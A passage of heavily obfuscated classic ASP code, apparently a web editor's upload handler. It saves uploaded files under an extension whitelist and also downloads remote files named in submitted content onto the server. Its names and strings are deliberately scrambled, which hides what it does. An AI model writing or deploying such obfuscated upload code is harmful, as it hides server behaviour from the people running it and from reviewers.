Dim NZNNZNZN
Set NZNNZNZN = NZNZNN.CreateObject(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E"))
If NZNNZNZN.FolderExists(NNNNZZN) = False Then
NZNNZNZN.CreateFolder NNNNZZN
End If
Set NZNNZNZN = Nothing
End Sub
Sub NZZZNZN()
On Error Resume Next
Dim NZNNZNNZ, NZNNZNNN, NZNNNZZZ
Set NZNNZNNZ = NZNZNN.CreateObject(NNNZNN("{J7&A=@25]?K4>D0FA"))
NZNNZNNZ.CodePage = (88 * 61 - 4432)
NZNNZNNZ.ExtName = Replace(NNNZNNN, NNNZNN("M"), NNNZNN("["))
NZNNZNNZ.MaxSize = NNNNZZZ* (72 * 72 - 4160)
NZNNNZZZ = NZNNZNNZ.AspCodingIsRequest(NNNZNN("@C:8:?2=7:=6"))
NNNNNNN = Mid(NZNNNZZZ, InStrRev(NZNNNZZZ, NNNZNN("-")) + 1)
NNNNNNZ = LCase(Mid(NNNNNNN, InStrRev(NNNNNNN, NNNZNN("]")) + 1))
Call NZZNZNN(NNNNNNZ)
NZZZZZZZ = NNZZNN(NNNNNNZ)
NZNNZNNN = NZNNZNNZ.SaveFile(NNNZNN("?K4>D0FA"), NNNNZZN, True, NZZZZZZZ)
Select Case NZNNZNNN
Case "0"
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWVD:K6VX"))
Case ""
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWV7:=6VX"))
Case "1"
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWV6IEVX"))
End Select
Set NZNNZNNZ = Nothing
End Sub
Sub NZZZNNZ()
On Error Resume Next
Dim NZNNNZZN
Set NZNNNZZN = NZNZNN.CreateObject(NNNZNN("$@7EpCE:D2?D]u:=6&A"))
NZNNNZZN.CodePage = (88 * 61 - 4432)
NZNNNZZN.Path = NNNNZZN
If NZNNNZZN.Form(NNNZNN("?K4>D0FA")).TotalBytes > NNNNZZZ*1024 Then
Err.Clear
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWVD:K6VX"))
End If
If NZNNNZZN.Form(NNNZNN("?K4>D0FA")).IsEmpty Then
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWV7:=6VX"))
End If
Dim NZNNNZNZ
NZNNNZNZ = Mid(NZNNNZZN.Form(NNNZNN("?K4>D0FA")).UserFilename, InstrRev(NZNNNZZN.Form(NNNZNN("?K4>D0FA")).UserFilename, NNNZNN("-")) + 1)
NNNNNNZ = LCase(Mid(NZNNNZNZ, InStrRev(NZNNNZNZ, NNNZNN("]")) + 1))
Call NZZNZNN(NNNNNNZ)
NNNNNNN = NZNNNZNZ
NZZZZZZZ = NNZZNN(NNNNNNZ)
NZNNNZZN.Form(NNNZNN("?K4>D0FA")).SaveAs (NNNNZZN & NZZZZZZZ)
Set NZNNNZZN = Nothing
End Sub
Sub NZZZNNN()
On Error Resume Next
Dim NZNNZNNZ, NZNNNZNN, NZNNNNZZ
Set NZNNZNNZ = NZNZNN.CreateObject(NNNZNN("!6CD:ED]&A=@25"))
NZNNZNNZ.CodePage = (88 * 61 - 4432)
NZNNZNNZ.SetMaxSize NNNNZZZ*1024, True
NZNNNNZZ = NZNNZNNZ.Save
If NZNNNNZZ < 1 Then
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWV7:=6VX"))
End If
If Err.Number = 8 Then
Err.Clear
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWVD:K6VX"))
End If
Set NZNNNZNN = NZNNZNNZ.Files(NNNZNN("?K4>D0FA"))
NNNNNNZ = LCase(Mid(NZNNNZNN.Ext, 2))
Call NZZNZNN(NNNNNNZ)
NNNNNNN = NZNNNZNN.FileName
NZZZZZZZ = NNZZNN(NNNNNNZ)
NZNNNZNN.SaveAs (NNNNZZN & NZZZZZZZ)
Set NZNNNZNN = Nothing
Set NZNNZNNZ = Nothing
End Sub
Sub NZZNZZZ()
On Error Resume Next
Dim NZNNZNNZ, NZNNNZNN
Set NZNNZNNZ = New NZZNNZN
NZNNZNNZ.GetData NNNNZZZ* (72 * 72 - 4160)
If NZNNZNNZ.Err > 0 Then
Select Case NZNNZNNZ.Err
Case 1
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWV7:=6VX"))
Case 2
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWVD:K6VX"))
End Select
End If
Set NZNNNZNN = NZNNZNNZ.File(NNNZNN("?K4>D0FA"))
NNNNNNZ = LCase(NZNNNZNN.FileExt)
Call NZZNZNN(NNNNNNZ)
NNNNNNN = NZNNNZNN.FileName
NZZZZZZZ = NNZZNN(NNNNNNZ)
Dim NZNNNNZN
NZNNNNZN = NNNNZZN & NZZZZZZZ
NNNNNNZ = LCase(Mid(NZNNNNZN, InstrRev(NZNNNNZN, NNNZNN("]")) + 1))
Call NZZNZNN(NNNNNNZ)
NZNNNZNN.SaveToFile NZNNNNZN
Set NZNNNZNN = Nothing
Set NZNNZNNZ = Nothing
End Sub
Function NNZZNN(NZNNZZZZ)
Dim NZNNNNNZ
Randomize
NZNNNNNZ = Int(900 * Rnd) + (51 * 50 - 2450)
NNZZNN = NNNZNZ(Now(), 5) & NZNNNNNZ & NNNZNN("]") & NZNNZZZZ
End Function
Sub NZZNZZN(str)
If NZNZZZZN <> NNNZNN("{~rp{") Then
NZNZNZ.Write NNNZNN("kD4C:AE ,=2?8F286l;2G2D4C:AEm") & str & NNNZNN("j9:DE@CJ]324<WXk^D4C:AEm")
End If
NZNZNZ.End
End Sub
Sub NZZNZNZ(str)
NZNZNZ.Write NNNZNN("kD4C:AE ,=2?8F286l;2G2D4C:AEm") & str & NNNZNN("k^D4C:AEm")
End Sub
Sub NZZNZNN(NZNNZZZZ)
Dim NZNZNNZN, NZNZNNNZ, NZNZNNNN
NZNZNNZN = False
NZNZNNNN = Split(NNNZNNN, NNNZNN("M"))
For NZNZNNNZ = 0 To UBound(NZNZNNNN)
If LCase(NZNZNNNN(NZNZNNNZ)) = NZNNZZZZ Then
NZNZNNZN = True
Exit For
End If
Next
If NZNZNNZN = False Then
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWV6IEVX"))
End If
End Sub
Sub NZZNNZZ()
NNNZZNN = UCase(Trim(AspCodingIsRequest.QueryString(NNNZNN("EJA6"))))
NNNZNZZ = Trim(AspCodingIsRequest.QueryString(NNNZNN("DEJ=6")))
NNNZNZN = Trim(AspCodingIsRequest.QueryString(NNNZNN("4FD5:C")))
NNNZNNZ = Trim(AspCodingIsRequest.QueryString(NNNZNN("DJ7=28")))
NNNZNZN = Replace(NNNZNZN, NNNZNN("-"), NNNZNN("^"))
If Left(NNNZNZN, 1) = NNNZNN("^") Or Left(NNNZNZN, 1) = NNNZNN("]") Or Right(NNNZNZN, 1) = NNNZNN("]") Or InStr(NNNZNZN, NNNZNN("]^")) > 0 Or InStr(NNNZNZN, NNNZNN("^]")) > 0 Or InStr(NNNZNZN, NNNZNN("^^")) > 0 Then
NNNZNZN = ""
End If
Dim NZNZNNNZ, NZNNNNNN, NNZZZZZZ
NNZZZZZZ = False
For NZNZNNNZ = 1 To Ubound(NZNZZNZ)
NZNNNNNN = Split(NZNZZNZ(NZNZNNNZ), NNNZNN("MMM"))
If Lcase(NNNZNZZ) = Lcase(NZNNNNNN(0)) Then
NNZZZZZZ = True
Exit For
End If
Next
If NNZZZZZZ = False Then
NZZNZZN(NNNZNN("A2C6?E]&A=@25tCC@CWVDEJ=6VX"))
End If
NNNNNZZ = NZNNNNNN(19)
NNNNZNZ = Clng(NZNNNNNN(20))
NNNNZNN = CLng(NZNNNNNN(21))
NNNNZZN = NZNNNNNN(3)
If NNNNNZZ<>"3" Then
If Left(NNNNZZN, 1) <> NNNZNN("^") Then
NNNNZZN = NNNZNN("]]^") & NNNNZZN
End If
End If
Select Case NNNNNZZ
Case "0", "3"
NNNNNZN = NZNNNNNN(23)
Case "1"
NNNNNZN = NNZNZZ(NNNNZZN)
Case "2"
NNNNNZN = NNZNZN(NNZNZZ(NNNNZZN))
End Select
If NNNNNZZ<>"3" Then
NNNNZZN = NZNZNN.Mappath(NNNNZZN)
End If
If Right(NNNNZZN,1)<>NNNZNN("-") Then
NNNNZZN = NNNNZZN & NNNZNN("-")
End If
Select Case NNNZZNN
Case NNNZNN("#t|~%t")
NNNZNNN = NZNNNNNN(10)
NNNNZZZ = Clng(NZNNNNNN(15))
Case NNNZNN("ux{t")
NNNZNNN = NZNNNNNN(6)
NNNNZZZ = Clng(NZNNNNNN(11))
Case NNNZNN("|tsxp")
NNNZNNN = NZNNNNNN(9)
NNNNZZZ = Clng(NZNNNNNN(14))
Case NNNZNN("u{p$w")
NNNZNNN = NZNNNNNN(7)
NNNNZZZ = Clng(NZNNNNNN(12))
Case NNNZNN("{~rp{")
NNNZNNN = NZNNNNNN(44)
NNNNZZZ = Clng(NZNNNNNN(45))
Case Else
NNNZNNN = NZNNNNNN(8)
NNNNZZZ = Clng(NZNNNNNN(13))
End Select
NZZZZZNN = Clng(NZNNNNNN(29))
NZZZZNZZ = Clng(NZNNNNNN(30))
NZZZZNZN = Clng(NZNNNNNN(31))
NZZZZNNZ = Clng(NZNNNNNN(32))
NZZZZNNN = NZNNNNNN(33)
NZZZNZZZ = NZNNNNNN(34)
NZZZNZZN = Clng(NZNNNNNN(35))
NZZZNZNZ = NZNNNNNN(36)
NZZZNZNN = NZNNNNNN(37)
NZZZNNZZ = Clng(NZNNNNNN(38))
NZZZNNZN = NZNNNNNN(39)
NZZZNNNZ = Clng(NZNNNNNN(40))
NZZZNNNN = NZNNNNNN(41)
NZZNZZZZ = Clng(NZNNNNNN(42))
NZZNZZZN = Clng(NZNNNNNN(46))
NZZNZZNZ = Clng(NZNNNNNN(47))
NZZNZZNN = Clng(NZNNNNNN(48))
NZZNZNZZ = Clng(NZNNNNNN(49))
NZZNZNZN = Clng(NZNNNNNN(50))
NZZNZNNZ = Clng(NZNNNNNN(51))
NZZNZNNN = Clng(NZNNNNNN(52))
NZZNNZZZ = Clng(NZNNNNNN(53))
NZZNNZZN = Clng(NZNNNNNN(54))
NZZNNZNZ = Clng(NZNNNNNN(55))
NZZNNZNN = Clng(NZNNNNNN(56))
NZZNNNZZ = Clng(NZNNNNNN(57))
NZZNNNZN = Clng(NZNNNNNN(58))
NZZNNNNZ = Clng(NZNNNNNN(59))
NZZNNNNN = CDbl(NZNNNNNN(60))
NZNZZZZZ = Clng(NZNNNNNN(61))
If NZZZZNNZ=2 Then
If NNNZNNZ = "1" Then
NZZZZNNZ = (98 * 75 - 7349)
Else
NZZZZNNZ = (21 * 32 - 672)
End If
End If
If NZZNZNNN=2 Then
If NNNZNNZ = "1" Then
NZZNZNNN = (98 * 75 - 7349)
Else
NZZNZNNN = (21 * 32 - 672)
End If
End If
End Sub
Function NNZNZZ(NNNZNNZZ)
Dim NNZZZZZN
NNZZZZZN = NNNZNNZZ
If Left(NNZZZZZN, 1) = NNNZNN("^") Then
NNZNZZ = NNZZZZZN
Exit Function
End If
Dim NNZZZZNZ
NNZZZZNZ = AspCodingIsRequest.ServerVariables(NNNZNN("$r#x!%0}p|t"))
NNZZZZNZ = Left(NNZZZZNZ, InstrRev(NNZZZZNZ, NNNZNN("^")) - 1)
Do While Left(NNZZZZZN, 3) = NNNZNN("]]^")
NNZZZZZN = Mid(NNZZZZZN, 4)
NNZZZZNZ = Left(NNZZZZNZ, InstrRev(NNZZZZNZ, NNNZNN("^")) - 1)
Loop
NNZNZZ = NNZZZZNZ & NNNZNN("^") & NNZZZZZN
End Function
Function NNZNZN(NNNZNNZZ)
Dim NNZZZZNN, NNZZZNZZ
NNZZZZNN = Split(AspCodingIsRequest.ServerVariables(NNNZNN("$t#'t#0!#~%~r~{")), NNNZNN("^"))(0) & NNNZNN("i^^") & AspCodingIsRequest.ServerVariables(NNNZNN("w%%!0w~$%"))
NNZZZNZZ = AspCodingIsRequest.ServerVariables(NNNZNN("$t#'t#0!~#%"))
If NNZZZNZZ <> "80" Then
NNZZZZNN = NNZZZZNN & NNNZNN("i") & NNZZZNZZ
End If
NNZNZN = NNZZZZNN & NNNZNNZZ
End Function
Function NNZNNZ(NNNZNNZN, NZNNZZZZ)
Dim NNZZZNZN
NNZZZNZN = NNNZNNZN
If NNNZZZ(NNNZNN("|:4C@D@7E])|{w%%!")) = False Or NNNNZZZ <= 0 then
NNZNNZ = NNZZZNZN
Exit Function
End If
Dim NNZZZNNZ, NNZZZNNN, NNZZNZZZ, NNZZNZZN, NNZZNZNZ
Set NNZZZNNZ = new RegExp
NNZZZNNZ.IgnoreCase  = True
NNZZZNNZ.Global = True
NNZZZNNZ.Pattern = NNNZNN("WW9EEAM9EEADM7EAMCEDAM>>DXiW-^-^M----XL`NWW,p\+2\K_\h0\.XZ,].XL`[NW,p\+2\K_\h.L`[dNX-^W-$Z-]W") & NZNNZZZZ & NNNZNN("XXX")
Set NNZZZNNN = NNZZZNNZ.Execute(NNZZZNZN)
Dim NNZZNZNN(), NZNNZZZN, NZNZNNNZ, NNZZNNZZ
NZNNZZZN = (21 * 32 - 672)
For Each NNZZNZZZ in NNZZZNNN
If NZNNZZZN = 0 Then
NZNNZZZN = NZNNZZZN + (98 * 75 - 7349)
Redim NNZZNZNN(NZNNZZZN)
NNZZNZNN(NZNNZZZN) = NNZZNZZZ
Else
NNZZNNZZ = False
For NZNZNNNZ = 1 To UBound(NNZZNZNN)
If UCase(NNZZNZZZ) = UCase(NNZZNZNN(NZNZNNNZ)) Then
NNZZNNZZ = True
Exit For
End If
Next
If NNZZNNZZ = False Then
NZNNZZZN = NZNNZZZN + (98 * 75 - 7349)
Redim Preserve NNZZNZNN(NZNNZZZN)
NNZZNZNN(NZNNZZZN) = NNZZNZZZ
End If
End If
Next
NZZZZZNZ = (21 * 32 - 672)
For NZNZNNNZ = 1 To NZNNZZZN
NNZZNZNZ = Mid(NNZZNZNN(NZNZNNNZ), InstrRev(NNZZNZNN(NZNZNNNZ), NNNZNN("]")) + 1)
NNZZNZZN = NNZZNN(NNZZNZNZ)
If NNZNNN(NNZZNZZN, NNZZNZNN(NZNZNNNZ)) = True Then
NZZZZZNZ = NZZZZZNZ + (98 * 75 - 7349)
If NZZZZZNZ > 1 Then
NNNNNNN = NNNNNNN & NNNZNN("M")
NZZZZZZZ = NZZZZZZZ & NNNZNN("M")
NZZZZZZN = NZZZZZZN & NNNZNN("M")
End If
NNNNNNN = NNNNNNN & Mid(NNZZNZNN(NZNZNNNZ), InstrRev(NNZZNZNN(NZNZNNNZ), NNNZNN("^")) + 1)
NZZZZZZZ = NZZZZZZZ & NNZZNZZN
NZZZZZZN = NZZZZZZN & NNNNNZN & NNZZNZZN
NNZZZNZN = Replace(NNZZZNZN, NNZZNZNN(NZNZNNNZ), NNNNNZN & NNZZNZZN, 1, -1, 1)
End If
Next
NNZNNZ = NNZZZNZN
End Function
Function NNZNNN(NNNZNNNZ, NNNZNNNN)
Dim NNZZNNZN, NNZZNNNZ, NNZZNNNN
Dim NNZNZZZZ
NNZNZZZZ = False
NNZNNN = False
On Error Resume Next
Set NNZZNNNZ = NZNZNN.CreateObject(NNNZNN("|:4C@D@7E])|{w%%!"))
With NNZZNNNZ
.Open NNNZNN("v6E"), NNNZNNNN, False, "", ""
.Send
NNZZNNNN = .ResponseBody
End With
Set NNZZNNNZ = Nothing
If LenB(NNZZNNNN) > NNNNZZZ*1024 Then
NNZNZZZZ = True
Else
Set NNZZNNZN = NZNZNN.CreateObject(NNNZNN("p5@53]") & NNNZNN("$EC62>"))
With NNZZNNZN
.Type = (98 * 75 - 7349)
.Open
.Write NNZZNNNN
.SaveToFile NNNNZZN & NNNZNNNZ, 2
Call NZZZZZN(NNNNZZN, NNNZNNNZ)
.Cancel()
.Close()
End With
Set NNZZNNZN=nothing
End If
If Err.Number = 0 And NNZNZZZZ = False Then
NNZNNN = True
Else
Err.Clear
End If
End Function
Function NNNZZZ(NNNNZZZZ)
On Error Resume Next
NNNZZZ = False
Err = (21 * 32 - 672)
Dim NNZNZZZN
Set NNZNZZZN = NZNZNN.CreateObject(NNNNZZZZ)
If 0 = Err Then NNNZZZ = True
Set NNZNZZZN = Nothing
Err = (21 * 32 - 672)
End Function
Function NNNZZN(str)
Dim NNZNZZNZ
NNZNZZNZ = str
NNNZZN = ""
If IsNull(NNZNZZNZ) = True Then
Exit Function
End If
NNZNZZNZ = Replace(NNZNZZNZ, NNNZNN("U"), NNNZNN("U2>Aj"))
NNZNZZNZ = Replace(NNZNZZNZ, NNNZNN("k"), NNNZNN("U=Ej"))
NNZNZZNZ = Replace(NNZNZZNZ, NNNZNN("m"), NNNZNN("U8Ej"))
NNZNZZNZ = Replace(NNZNZZNZ, Chr(34), NNNZNN("UBF@Ej"))
NNNZZN = NNZNZZNZ
End Function
Function NNNZNZ(NNNNZZZN, NNNNZZNZ)
Dim NNZNZZNN, NNZNZNZZ, NNZNZNZN, NNZNZNNZ, NNZNZNNN, NNZNNZZZ
NNNZNZ = ""
If IsDate(NNNNZZZN) = False Then Exit Function
NNZNZZNN = cstr(year(NNNNZZZN))
NNZNZNZZ = cstr(month(NNNNZZZN))
If len(NNZNZNZZ) = 1 Then NNZNZNZZ = "0" & NNZNZNZZ
NNZNZNZN = cstr(day(NNNNZZZN))
If len(NNZNZNZN) = 1 Then NNZNZNZN = "0" & NNZNZNZN
NNZNZNNZ = cstr(hour(NNNNZZZN))
If len(NNZNZNNZ) = 1 Then NNZNZNNZ = "0" & NNZNZNNZ
NNZNZNNN = cstr(minute(NNNNZZZN))
If len(NNZNZNNN) = 1 Then NNZNZNNN = "0" & NNZNZNNN
NNZNNZZZ = cstr(second(NNNNZZZN))
If len(NNZNNZZZ) = 1 Then NNZNNZZZ = "0" & NNZNNZZZ
Select Case NNNNZZNZ
Case 1
NNNZNZ = NNZNZZNN & NNNZNN("\") & NNZNZNZZ & NNNZNN("\") & NNZNZNZN & NNNZNN(" ,") & NNZNZNNZ & NNNZNN("i") & NNZNZNNN & NNNZNN("i") & NNZNNZZZ
Case 2
NNNZNZ = NNZNZZNN & NNNZNN("\") & NNZNZNZZ & NNNZNN("\") & NNZNZNZN
Case 3
NNNZNZ = NNZNZNNZ & NNNZNN("i") & NNZNZNNN & NNNZNN("i") & NNZNNZZZ
Case 4
NNNZNZ = NNZNZZNN & NNZNZNZZ & NNZNZNZN
Case 5
NNNZNZ = NNZNZZNN & NNZNZNZZ & NNZNZNZN & NNZNZNNZ & NNZNZNNN & NNZNNZZZ
End Select
End Function
Function NNNZNN(ByVal NNZNNZNN)
Dim NNZNNZZN, NZNZNNNZ, NZNNZZZN
NNZNNZNN = Replace(NNZNNZNN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZNZNNNZ = 1 To Len(NNZNNZNN)
If NZNZNNNZ <> NZNNZZZN Then
NNZNNZZN = AscW(Mid(NNZNNZNN, NZNZNNNZ, 1))
If NNZNNZZN >= 33 And NNZNNZZN <= 79 Then
NNNZNN = NNNZNN & Chr(NNZNNZZN + 47)
ElseIf NNZNNZZN >= 80 And NNZNNZZN <= 126 Then
NNNZNN = NNNZNN & Chr(NNZNNZZN - 47)
Else
NZNNZZZN = NZNZNNNZ + 1
If Mid(NNZNNZNN, NZNNZZZN, 1) = NNNZNN("o") Then NNNZNN = NNNZNN & ChrW(NNZNNZZN + 5) Else NNNZNN = NNNZNN & Mid(NNZNNZNN, NZNZNNNZ, 1)
End If
End If
Next
End Function
%>